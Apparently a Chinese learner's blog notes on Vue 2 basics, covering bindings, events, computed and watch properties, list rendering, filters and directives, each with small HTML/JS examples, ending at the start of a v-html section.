前端VueVue学习笔记
定西Vue
2023年1月4日 19点31分
axios的源码我没看,直接开始vue吧
Vue基础
Vue简介
Vue是什么?
一套用于构建用户见面的渐进式JavaScript框架
尤雨溪,好像是美籍华人,很厉害
vue的特点
- 采用组件化模式,提高代码复用率,且让代码更好维护
- 声明式编码,让编码人员无需直接操作DOM,提高开发效率
- 使用虚拟DOM+优秀的Diff算法,尽量复用DOM节点
原生Js
Vue实现
不得不说,vue官网的文档做的是真的nice
Vue开发环境
下载地址
还要下载一个插件-Vue Devtools
直接在chrome插件商店里就可以下载了
然后第一个Vue实例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>初识Vue</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body>
<div id="root"> <h1>Hello {{name}}</h1> </div>
<script type="text/javascript"> Vue.config.productionTip = false
new Vue({ el:'#root', data:{ name: 'ZZMR' } })
</script> </body> </html>
|
- 想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象
- root容器里面的代码依然符合html规范,只不过混入了一些特殊的Vue语法
- root容器里的代码被称为Vue
一些小细节
- 容器和Vue实例是一一对应的,不能多对一/一对多
- 真是开发中只有一个Vue实例,并且会配合着组件一起使用
{{xxx}}
中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性
- 一旦data中的数据发生改变,那么模板中用到该数据的地方也会自动更新
模板语法
首先就是插值语法:{{}}
还有指令语法:v-bind:xxx(这个可以简写成一个冒号)
但是什么时候用插值,什么时候用指令
- 插值语法:
- 功能: 用于解析标签体内容
写法: {{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性
- 指令语法:
- 功能: 用于解析标签(包括: 标签属性,标签体内容,绑定事件)
- 举例: v-bind:href=”xxx” 或 简写成 :href=”xxx”,xxx同样要写成js表达式
且可以直接读取到data中的所有属性
- 备注: Vue中有很多的指令,且形式都是: v-????,此处我们只是拿v-bind举个例子
多级结构
1 2 3 4 5 6 7 8 9 10
| new Vue({ el:'#root', data:{ name:'Jack', school:{ name:'ZZMR', url:'https://jimmy66886.github.io/' } } })
|
此时再获取,就可以用school.name,用于和name区分开
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <div id="root"> <h1>插值语法</h1> <h3>你好,{{name}}</h3> <hr> <h1>指令语法</h1> <a v-bind:href="school.url">点我去{{school.name}}</a> </div>
<script type="text/javascript"> new Vue({ el:'#root', data:{ name:'Jack', school:{ name:'ZZMR', url:'https://jimmy66886.github.io/' } } }) </script>
|
数据绑定
数据绑定分为单向数据绑定和双向数据绑定
而v-bind就是单向数据绑定:data数据影响页面数据,但是页面数据不会影响data中的数据
- 单向绑定(v-bind): 数据只能从data流向页面
- 双向绑定(v-model): 数据不仅能从data流向页面,还可以从页面流向data
- 备注:
- 双向绑定一般都应用在表单类元素上(input,select等)
- v-model:value可以简写成 v-model, 因为v-model默认收集的就是value值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <div id="root"> 单向数据绑定: <input type="text" v-bind:value="name"><br> 双向数据绑定: <input type="text" v-model:value="name"><br> 双向数据绑定: <input type="text" v-model="name"><br> </div>
<script type="text/javascript"> new Vue({ el:'#root', data:{ name:'ZZMR' } }) </script>
|
el与data的两种写法
data与el的两种写法
- el的两种写法
- new Vue时配置el属性
- 先创建Vue实例,随后再通过vm.$mount(‘#root’)指定el的值
- data有两种写法
- 对象式
- 函数式
如何选择:目前哪种写法都可以,以后学习到组件时,data必须使用函数式,否则会报错
- 一个重要的原则:
由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <div id="root"> <h1>你好 {{name}}</h1> </div>
<script type="text/javascript">
new Vue({ el: '#root',
data() { console.log('@@@', this); return { name: 'ZZMR' } } })
</script>
|
MVVM模型
- M: 模型(Model) 对应data中的数据
- V: 视图(View) 模板
- VM: 视图模型(ViewModel) Vue实例对象
特点:
- data种所有的属性,最后都出现在了vm身上
- vm身上所有的属性及Vue原型上所有属性,在Vue模板中都可以直接使用
数据代理
defineProperty方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <script type="text/javascript">
let number = 18
let person = { name: '张三', sex: '男' }
Object.defineProperty(person, 'age', {
get(){ console.log('有人读取age属性'); return number },
set(value){ console.log('有人修改了age属性,修改为:'+value); number = value }
}) console.log(person);
</script>
|
这个的确不知道,但是听了听还是没啥问题的
何为数据代理
数据代理: 通过一个对象对另一个对象中属性的操作(读/写)
就是利用了Object.defineProperty()方法的特性-getter和setter
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <script> let obj = {x:100} let obj2 = {y:200}
Object.defineProperty(obj2,'x',{ get(){ return obj.x; }, set(value){ obj.x = value; } }) </script>
|
Vue中的数据代理
- Vue中的数据代理
- 通过vm对象来代理data对象中属性的操作(读/写)
- Vue中数据代理的好处
- 基本原理
- 通过Object.defineProperty()把data对象中所有属性添加到vm上,为每一个添加到vm上的属性,都指定一个getter/setter,在getter/setter内部去操作(读/写)data中对应的属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <div id="root"> <h2>学校名称: {{name}}</h2> <h2>学校地址: {{address}}</h2> </div>
<script> const vm = new Vue({ el: '#root', data: { name: 'ZZMR', address: 'China' } }) </script>
|
事件处理
事件的基本使用
- 使用v-on:xxx或@xxx绑定事件,其中xxx是事件名
- 事件的回调需要配置在methods对象中,最终会在vm上
- methods中配置的函数,不要用箭头函数,否则this就不是vm了
- methods中配置的函数,都是被Vue所管理的函数,this的指向是vm或组件实例对象
- @click=”demo”和@click=”demo($event)” 效果一致,但后者可以传参
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <div id="root"> <h2>欢迎 {{name}} </h2> <button @click="showInfo1">点我提示信息1-不传参</button> <button @click="showInfo2(66,$event)">点我提示信息2-传参</button> </div>
<script> const vm = new Vue({ el: '#root', data: { name: 'ZZMR' }, methods: { showInfo1(event) { alert('同学你好1') }, showInfo2(number, event) { alert('同学你好2') } } }) </script>
|
事件修饰符
- prevent: 阻止默认事件(常用)
- stop: 阻止事件冒泡(常用)
- once: 事件只触发一次(常用)
- capture: 使用事件的捕获模式
- self: 只有event.target是当前操作的元素时才触发事件
- passive: 事件的默认行为立即执行,无需等待事件回调执行完毕
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| <div id="root"> <h2>欢迎 {{name}} </h2> <a href="https://jimmy66886.github.io/" @click.prevent="showInfo">点我提示信息</a>
<div @click="showInfo" class="demo1"> <button @click.stop="showInfo">点我提示信息</button> </div>
<button @click.once="showInfo">点我提示信息</button> <br>
<div class="box1" @click.capture="showMsg(1)"> div1 <div class="box2" @click="showMsg(2)"> div2 </div> </div>
<div @click.self="showInfo" class="demo1"> <button @click="showInfo">点我提示信息</button> </div>
<ul @wheel="demo" class="list"> <li>1</li> <li>2</li> <li>3</li> <li>4</li> </ul>
</div>
<script> const vm = new Vue({ el: '#root', data: { name: 'ZZMR' }, methods: { showInfo(e) { alert('同学你好') }, showMsg(msg) { console.log(msg) }, demo() { console.log('@') }
} }) </script>
|
键盘事件
按键别名
- 回车 => enter
- 删除 => delete(捕获”删除”和”退格”键)
- 退出 => esc
- 空格 => space
- 换行 => tab (特殊,必须配合keydown使用)
- 上 => up
- 下 => down
- 左 => left
- 右 => right
- Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转化为kebab-case(短横线命名),比如CapsLock按键=caps-lock
- 系统修饰键(用法特殊): ctrl alt shift meta
- 配合keyup使用,按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发
- 配合keydown使用,正常触发事件
- 也可以使用keyCode去指定具体的按键(不推荐)
- Vue.config.keyCodes.自定义键名 = 键码 ,可以去定制按键别名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <div id="root"> <h2>欢迎来到{{name}}</h2> <input type="text" placeholder="按下回车提示输入" @keydown.alt="showInfo"> </div>
<script>
Vue.config.keyCodes.huiche = 13
const vm = new Vue({ el: '#root', data: { name: 'ZZMR' }, methods: { showInfo(e) { console.log(e.target.value) } } }) </script>
|
计算属性
插值语法实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <div id="root"> 姓: <input type="text" v-model="firstName"><br> 名: <input type="text" v-model="lastName"><br> 全名: <span>{{firstName}}-{{lastName}}</span> </div>
<script> const vm = new Vue({ el: '#root', data: { firstName: '张', lastName: '三' } }) </script>
|
很简单啊,直接拼
methods实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <div id="root"> 姓: <input type="text" v-model="firstName"><br> 名: <input type="text" v-model="lastName"><br> 全名: <span>{{fullName()}}</span> </div>
<script> const vm = new Vue({ el: '#root', data: { firstName: '张', lastName: '三' }, methods: { fullName() { return this.firstName + '-' + this.lastName } } }) </script>
|
更便于观察了,在插值语法中直接调用函数,来实现拼接姓名
计算属性实现
- 定义: 要使用的属性不存在,要通过已有**属性(一定要是属性,如果是变量什么的不行)**计算得到
- 原理: 底层借助了Object.defineproperty方法提供的getter和setter
- get函数什么时候执行
- 初次读取时会执行一次
- 当以来的数据发生改变时会被再次调用
- 优势: 与methods实现相比,内部有缓存机制(复用) 效率更高,调试方便
- 备注:
- 计算属性最终会出现在vm上,直接读取使用即可
- 如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <div id="root"> 姓: <input type="text" v-model="firstName"><br> 名: <input type="text" v-model="lastName"><br> 全名: <span>{{fullName}}</span> </div>
<script> const vm = new Vue({ el: '#root', data: { firstName: '张', lastName: '三', }, computed: { fullName: { get() { return this.firstName + '-' + this.lastName }, set(value) { console.log('set '+value) const arr = value.split('-') this.firstName = arr[0] this.lastName = arr[1] } } } }) </script>
|
计算属性的简写
确定只读不改(只有get没有set)才能用简写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <script> const vm = new Vue({ el: '#root', data: { firstName: '张', lastName: '三', }, computed: { fullName() { console.log('get被调用了') return this.firstName + '-' + this.lastName } } }) </script>
|
监视属性
天气案例
实现点击按钮切换内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <div id="root"> <h2>今天天气很{{info}}</h2> <button @click="changeWeather">切换天气</button> </div>
<script> const vm = new Vue({ el: '#root', data: { isHot:true }, computed: { info() { return this.isHot ? '炎热' : '凉爽' } }, methods: { changeWeather(){ this.isHot = !this.isHot } }, }) </script>
|
监视属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <div id="root"> <h2>今天天气很{{info}}</h2> <button @click="changeWeather">切换天气</button> </div>
<script> const vm = new Vue({ el: '#root', data: { isHot: true }, computed: { info() { return this.isHot ? '炎热' : '凉爽' } }, methods: { changeWeather() { this.isHot = !this.isHot } },
})
vm.$watch('isHot', { immediate: true, handler(newValue, oldValue) { console.log('isHot被修改了' + newValue + '@' + oldValue) } }) </script>
|
监视有两种方法,第一种直接在watch里面写,一般是创建vue对象时就明确了要监视哪个属性,第二种是用vm.$watch()的形式,第一个参数是属性名(要用单引号),第二个参数就是配置项
- 当被监视的属性变化时,回调函数自动调用,进行相关操作
- 监视的属性必须存在,才能进行监视
深度监视
深度监视
- Vue中的watch默认不检测对象内部值的改变(一层)
- 配置deep:true可以监测对象内部值改变(多层)
- Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以
- 使用watch时根据数据的具体结构,决定是否采用深度监视
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| <div id="root"> <h2>今天天气很{{info}}</h2> <button @click="changeWeather">切换天气</button> <hr> <h3>a的值是{{numbers.a}}</h3> <button @click="numbers.a++">点我让a+1</button><br> <h3>b的值是{{numbers.b}}</h3> <button @click="numbers.b++">点我让b+1</button> <button @click="numbers = {a:666,b:888}">点我彻底替换掉numbers</button> </div>
<script> const vm = new Vue({ el: '#root', data: { isHot: true, numbers: { a: 1, b: 1 } }, computed: { info() { return this.isHot ? '炎热' : '凉爽' } }, methods: { changeWeather() { this.isHot = !this.isHot } }, watch: { isHot: { handler(newValue, oldValue) { console.log('isHot被修改了' + newValue + '@' + oldValue) } }, 'numbers.a': { handler() { console.log('a改变了') } }, numbers:{ deep:true, handler(){ console.log('某个属性变化了') } }
} })
</script>
|
深度监视的简写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <div id="root"> <h2>今天天气很{{info}}</h2> <button @click="changeWeather">切换天气</button>
</div>
<script> const vm = new Vue({ el: '#root', data: { isHot: true, }, computed: { info() { return this.isHot ? '炎热' : '凉爽' } }, methods: { changeWeather() { this.isHot = !this.isHot } },
})
vm.$watch('isHot', function (newValue, oldValue) { console.log('isHot被修改了' + newValue + '@' + oldValue) })
</script>
|
计算属性和监视属性
拿监视属性再写一遍姓名案例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <div id="root"> 姓: <input type="text" v-model="firstName"><br> 名: <input type="text" v-model="lastName"><br> 全名: <span>{{fullName}}</span> </div>
<script> const vm = new Vue({ el: '#root', data: { firstName: '张', lastName: '三', fullName: '张-三' }, watch: { firstName(newValue) { setTimeout(() => { this.fullName = newValue + '-' + this.lastName }, 1000) }, lastName(newValue) { this.fullName = this.firstName + '-' + newValue } } }) </script>
|
没什么要说的,主要就是:计算属性不适合写异步任务,因为计算属性靠的是返回值,而这个返回值并不能延迟返回
但是这里的setTimeout为什么可以使用箭头函数?
setTimeout函数的确是在vm中,但是定时器的回调函数并不是vm管理的,而是浏览器管理的
箭头函数没有自己的this,所以就会往外找,就找到了vm
总结:
computed和watch之间的区别
- computed能完成的功能,watch都可以完成
- watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作
两个重要的小原则
- 所有被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或实例对象
- 所有不被Vue管理的函数(定时器的回调函数,ajax的回调函数,promise的回调函数等),最好写成箭头函数,这样this的指向才是vm或组件实例对象
绑定样式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <div id="root"> <div class="basic" :class="mood" @click="changeMood">{{name}}</div> <hr>
<div class="basic" :class="classArr">{{name}}</div> <hr>
<div class="basic" :class="classObj">{{name}}</div>
<div class="basic" :style="[styleObj,styleObj2]">{{name}}</div> </div>
<script> const vm = new Vue({ el: '#root', data: { name: 'ZZMR', mood: 'normal', arr: ['atguigu1', 'atguigu2', 'atguigu3'], classObj: { atguigu1: false, atguigu2: false, atguigu3: false }, styleObj: { fontSize: '40px' }, styleObj2: { color: 'red' } }, methods: { changeMood() { const arr = ['happy', 'sad', 'normal'] this.mood = arr[Math.floor(Math.random() * 3)] } } }) </script>
|
- class样式
- 写法:class=”xxx”, xxx可以是字符串,对象,数组
- 字符串写法适用于:类名不确定,要动态获取
- 对象写法适用于:要绑定多个样式,个数不确定,名字也不确定
- 数组写法适用于:要绑定多个样式,个数确定,名字也确定,但是不确定用不用
- style样式
- :style=”{fontSize:xxx}” 其中xxx是动态的
- :style=”[a,b]”,其中a,b是样式对象
条件渲染
渲染语法
- v-if
- 写法:
- v-if=”表达式”
- v-else-if=”表达式”
- v-else=”表达式”
- 适用于:切换频率较低的场景
- 特点:不展示的DOM元素直接被移除
- 注意: v-if可以和v-else-if,v-if一起使用,但是结构不能被打断
- v-show
- 写法: v-show表达式
- 适用于:切换频率较高的场景
- 特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
- 备注: 使用v-if时,元素可能无法获取到,而使用v-show一定可以获取到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <div id="root">
<h2>当前的n值是{{n}}</h2> <button @click="n++">点我n+1</button>
<template v-if="n === 1"> <h2>你好</h2> <h2>ZZMR</h2> <h2>China</h2> </template>
</div>
<script> const vm = new Vue({ el: '#root', data: { name: 'ZZMR', n: 0 } })
</script>
|
列表渲染
基本列表
v-for指令
- 用于展示列表数据
- 语法:v-for=”(item, index) in xxx :key=”yyy”
- 可遍历: 数组,对象,字符串(用的很少),指定次数(用的很少)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <div id="root"> <h2>人员列表</h2> <ul> <li v-for="(p,index) in persons" :key="index"> {{p.name}}--{{p.age}} </li> </ul>
<h2>汽车信息</h2> <ul> <li v-for="(value,k) in car" :key="k"> {{k}}:{{value}} </li> </ul>
<h2>遍历字符串</h2> <ul> <li v-for="(char,index) in str" :key="index"> {{char}}:{{index}} </li> </ul>
<h2>遍历指定次数</h2> <ul> <li v-for="(number,index) of 5" :key="index"> {{number}}:{{index}} </li> </ul> </div>
<script> const vm = new Vue({ el: '#root', data: { persons: [ { id: '001', name: '张三', age: 18 }, { id: '002', name: '李四', age: 19 }, { id: '003', name: '王五', age: 20 } ], car: { name: "DMC", price: "100万", color: "white" }, str: "hello" } }) </script>
|
key的作用与原理
用index和用id(对象的唯一标识)的区别
但是如果不写,key就会默认加一个index,所以不写就和写了index一样出问题
面试题: react,vue中的key有什么作用(key的内部原理)
- 虚拟DOM中key的作用
- key是虚拟DOM对象的标识,当状态中的数据发生变化时,Vue会根据新数据生成新的虚拟DOM,随后Vue进行新虚拟DOM与旧虚拟DOM的差异比较,比较规则如下
- 对比规则
- 旧虚拟DOM中找到了与新虚拟DOM相同的key
- 若虚拟DOM中内容没变,直接使用之前的真实DOM
- 若虚拟DOM中的内容变了,则生成新的真实DOM,随后替换掉页面中之前的真实DOM
- 旧虚拟DOM中未找到与新虚拟DOM相同的key
- 用index作为key可能会引发的问题
- 若对数据进行:逆序添加,逆序删除等破坏顺序操作,就会产生没有必要的真实DOM更新=>界面效果没问题,但效率低
- 如果结构中还包含输入类DOM=>会产生错误的DOM更新,界面有问题
- 开发中如何选择key?
- 最好使用每条数据的唯一标识作为key,比如id,手机号,身份证号,学号等唯一值
- 如果不存在对数据的逆序添加,逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的
列表过滤
此时就会发现,如果watch和computed都能实现时,要用computed会好一点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| <div id="root"> <h2>人员列表</h2> <input type="text" placeholder="请输入名字" v-model="keyWord"> <ul> <li v-for="p in filPersons" :key="p.id"> {{p.name}}-{{p.age}}-{{p.sex}} </li> </ul> </div>
<script>
const vm = new Vue({ el: '#root', data: { keyWord: '', persons: [ { id: '001', name: '马冬梅', age: 18, sex: '女' }, { id: '002', name: '周冬雨', age: 19, sex: '女' }, { id: '003', name: '周杰伦', age: 20, sex: '男' }, { id: '004', name: '温兆伦', age: 21, sex: '男' } ] }, computed: { filPersons() { return this.persons.filter((p) => { return p.name.indexOf(this.keyWord) !== -1 }) } } }) </script>
|
列表排序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| <div id="root"> <h2>人员列表</h2> <input type="text" placeholder="请输入名字" v-model="keyWord"> <button @click="sortType = 2">年龄升序</button> <button @click="sortType = 1">年龄降序</button> <button @click="sortType = 0">原顺序</button> <ul> <li v-for="p in filPersons" :key="p.id"> {{p.name}}-{{p.age}}-{{p.sex}} </li> </ul> </div>
<script>
const vm = new Vue({ el: '#root', data: { keyWord: '', persons: [ { id: '001', name: '马冬梅', age: 28, sex: '女' }, { id: '002', name: '周冬雨', age: 19, sex: '女' }, { id: '003', name: '周杰伦', age: 31, sex: '男' }, { id: '004', name: '温兆伦', age: 18, sex: '男' } ], sortType: 0, }, computed: { filPersons() { const arr = this.persons.filter((p) => { return p.name.indexOf(this.keyWord) !== -1 }) if (this.sortType) { arr.sort((p1, p2) => { return this.sortType === 1 ? p2.age - p1.age : p1.age - p2.age }) } return arr } } }) </script>
|
主要是看一下排序的地方吧,js的语法,其实和java的比较器挺像的
更新时问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <div id="root"> <button @click="updateMei">更新马冬梅信息</button> <ul> <li v-for="p in persons" :key="p.id"> {{p.name}}-{{p.age}}-{{p.sex}} </li> </ul> </div>
<script>
const vm = new Vue({ el: '#root', data: { persons: [ { id: '001', name: '马冬梅', age: 28, sex: '女' }, { id: '002', name: '周冬雨', age: 19, sex: '女' }, { id: '003', name: '周杰伦', age: 31, sex: '男' }, { id: '004', name: '温兆伦', age: 18, sex: '男' } ], }, methods: { updateMei(){ this.persons[0] = { id: '001', name: '马冬梅', age: 288, sex: '男' } } }, }) </script>
|
这时,直接更改某一项是生效的,但是直接更改整个对象时,是不生效的?Vue没有检测到数据改变了,但是数据的的确确变了
Vue.set()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| <div id="root"> <h1>学校信息</h1> <h2>学校名称 {{name}}</h2> <h2>学校地址 {{address}}</h2> <h2>校长是:{{leader}}</h2> <hr> <h1>学生信息</h1> <button @click="addSex">添加一个性别属性,默认值是男</button> <h2>姓名: {{student.name}}</h2> <h2>姓名: 真实{{student.age.rAge}},对外:{{student.age.sAge}}</h2> <h2 v-if="student.sex">性别: {{student.sex}}</h2> <h2>朋友们</h2> <ul> <li v-for="(f,index) of student.friends" :key="index"> {{f.name}}--{{f.age}} </li> </ul> </div>
<script> const vm = new Vue({ el: '#root', data: { name: 'ZZMR', address: 'China', student: { name: 'Tom', age: { rAge: 18, sAge: 20 }, friends: [ { name: 'Jerry', age: 35 }, { name: 'Pyt', age: 15 } ] } }, methods: { addSex() { this.$set(this.student, 'sex', '女') } }, }) </script>
|
总结在后面
Vue监视数据-总结
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| <div id="root"> <h1>学生信息</h1>
<button @click="student.age++">年龄+1岁</button> <button @click="addSex">添加性别属性,默认值:男</button> <button @click="student.sex = '未知'">修改性别为未知</button> <button @click="addFriend">在列表首位添加一个朋友</button> <button @click="updateNameFirst">修改第一个朋友的名字为: 张三</button> <button @click="addHobby">添加一个爱好</button> <button @click="updateToCar">修改第一个爱好为: 开车</button> <button @click="removeSmoke">移除爱好中的抽烟</button>
<h2>姓名: {{student.name}}</h2> <h2>年龄: {{student.age}}</h2> <h2 v-if="student.sex">性别: {{student.sex}}</h2> <h2>朋友们</h2> <ul> <li v-for="(f,index) of student.friends" :key="index"> {{f.name}}--{{f.age}} </li> </ul> <h2>爱好</h2> <ul> <li v-for="(h,index) of student.hobby" :key="index"> {{h}} </li> </ul> </div>
<script> const vm = new Vue({ el: '#root', data: { student: { name: 'Tom', age: 18, hobby: ['抽烟', '喝酒', '烫头'], friends: [ { name: 'Jerry', age: 35 }, { name: 'Pyt', age: 15 } ] } }, methods: { addSex() { Vue.set(this.student, 'sex', '男') }, addFriend() {
this.student.friends.unshift({ name: 'Potty', age: 18 }) }, updateNameFirst() { this.student.friends[0].name = '张三' }, addHobby() { this.student.hobby.push('打篮球') }, updateToCar() { Vue.set(this.student.hobby, 0, '开车') }, removeSmoke() { this.student.hobby = this.student.hobby.filter((h) => { return h !== '抽烟' }) } }, }) </script>
|
Vue监视数据的原理:
vue会监视data中所有层次的数据。
如何监测对象中的数据-通过setter实现监视,且要在new Vue时就传入要监测的数据。
- 对象中后追加的属性,Vue默认不做响应式处理
- 如需给后添加的属性做响应式,请使用如下API:
- Vue.set(target,propertyName/index,value) 或
- vm.$set(target,propertyName/index,value)
如何监测数组中的数据?
通过包裹数组更新元素的方法实现,本质就是做了两件事:
- 调用原生对应的方法对数组进行更新。
- 重新解析模板,进而更新页面。
在Vue修改数组中的某个元素一定要用如下方法:
- 使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
- Vue.set() 或 vm.$set()
特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!
数据劫持:将data加工成_data
收集表单数据
分几种情况
- 若
<input type="text"/>
则v-model收集的是value值,用户输入的就是value值
- 若
<input type="radio"/>
则v-model收集的是value值,且要给标签配置value值
- 若
<input type="checkbox">
- 没有配置input的value属性,那么收集的就是checked(勾选or未勾选,是布尔值)
- 配置了input的value属性
- v-model的初始值是非数组,那么收集的就是checked(勾选or未勾选,是布尔值)
- v-model的初始值是数组,那么收集的就是value组成的数组
- v-model的三个修饰符
- lazy: 失去焦点再收集数据
- number: 输入字符串转为有效的数字
- trim: 输入首位空格过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <div id="root"> <form @submit.prevent="demo"> 账号: <input type="text" v-model.trim="userinfo.account"><br><br> 密码: <input type="password" v-model="userinfo.password"><br><br> 年龄: <input type="number" v-model.number="userinfo.age"><br><br> 性别: 男<input type="radio" name="sex" v-model="userinfo.sex" value="male"> 女<input type="radio" name="sex" v-model="userinfo.sex" value="female"><br><br> 爱好: 学习<input type="checkbox" v-model="userinfo.hobby" value="study"> 打游戏<input type="checkbox" v-model="userinfo.hobby" value="game"> 吃饭<input type="checkbox" v-model="userinfo.hobby" value="eat"><br><br> 所属校区 <select v-model="userinfo.city"> <option value="">请选择校区</option> <option value="beijing">北京</option> <option value="shanghai">上海</option> <option value="shenzhen">深圳</option> <option value="wuhan">武汉</option> </select> <br><br> 其他信息 <textarea v-model.lazy="userinfo.other"></textarea><br><br> <input type="checkbox" v-model="userinfo.agree"> 阅读并接受<a href="https://jimmy66886.github.io/">《用户协议》</a> <button type="submit">提交</button> </form> </div>
<script> const vm = new Vue({ el: '#root', data: { userinfo: { account: '', password: '', age: '', sex: '', hobby: [], city: '', other: '', agree: '', } }, methods: { demo() { console.log(JSON.stringify(this.userinfo)) } }, }) </script>
|
过滤器
- 过滤器定义:对要显示的数据进行特定格式化后再显示(适用于一些简单的逻辑的处理)
- 语法:
- 注册过滤器: Vue.filter(name,callback) 或 new Vue(filters:{})
- 使用过滤器
{{ xxx | 过滤器名}}
或 v-bind:属性 = “xxx | 过滤器名”
- 备注:
- 过滤器也可以接收额外的参数,多个过滤器也可以串联
- 并没有改变原的数据,是产生新的对应的数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| <div id="root"> <h2>显示格式化后的时间</h2> <h3>现在是{{fmtTime}}</h3> <h3>现在是{{getFmtTime()}}</h3> <h3>现在是{{time | timeFormater}}</h3> <h3>现在是{{time | timeFormater('YYYY-MM-DD') | mySlice}}</h3>
<h3 :x="msg | mySlice">ZZMR</h3> </div>
<div id="root2"> <h2>{{msg | mySlice}}</h2> </div>
<script>
Vue.filter('mySlice', function (value) { return value.slice(0.4) })
const vm = new Vue({ el: '#root', data: { time: 1673148512081, msg: 'ZZMR123' }, computed: { fmtTime() { return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss') } }, methods: { getFmtTime() { return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss') } }, filters: { timeFormater(value, str = 'YYYY-MM-DD HH:mm:ss') { return dayjs(value).format(str) } } })
const vm2 = new Vue({ el: '#root2', data: { msg: 'ZZMR' } })
</script>
|
内置指令
v-text
- 作用: 向其所在的节点中渲染文本内容
- 与插值语法的区别,v-text会替换掉节点中的内容,则不会(也就是说插值语法可以进行拼接)
1 2 3 4 5 6 7 8 9 10 11 12 13
| <div id="root"> <div>{{name}}</div> <div v-text="name"></div> </div>
<script> const vm = new Vue({ el: '#root', data: { name: 'ZZMR', } }) </script>
|
v-html
这里要说一下cookie
